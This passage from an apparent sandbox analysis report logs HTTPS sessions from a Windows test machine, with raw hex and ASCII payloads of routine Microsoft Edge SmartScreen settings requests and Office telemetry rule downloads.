,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7
2024-11-20 20:05:49 UTC	16384	IN	Data Raw: d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd Data Ascii: M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q
2024-11-20 20:05:49 UTC	16384	IN	Data Raw: 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 Data Ascii: H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}e
2024-11-20 20:05:49 UTC	5234	IN	Data Raw: 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 Data Ascii: NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.7	49835	172.183.192.109	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:47 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiN0Vtc2dlT0J4cXI5cmFPOTJtY05BQT09IiwgImhhc2giOiJucjUzeVVBYStBOD0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-20 20:05:47 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-20 20:05:47 UTC	248	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:47 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-20 20:05:47 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.7	49836	172.183.192.109	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:48 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiOE9tdkFoY2R1ay9uRWNFTGVYcExVZz09IiwgImhhc2giOiJrN0ZpU25wdUc5ST0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-20 20:05:48 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-20 20:05:48 UTC	302	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:48 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-20 20:05:48 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-20 20:05:48 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-20 20:05:48 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-20 20:05:48 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-20 20:05:48 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-20 20:05:49 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-20 20:05:49 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-20 20:05:49 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:48 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200549Z-1777c6cb754xjpthhC1TEBexs800000009u000000000sq1u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:49 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 538c9d0d-101e-0028-1c8c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200549Z-185f5d8b95cwtv72hC1NYC141w0000000apg00000000bk46 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:49 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:49 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: be70f01e-301e-000c-538c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200549Z-185f5d8b95cjbkr4hC1NYCeu240000000ag000000000xy42 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
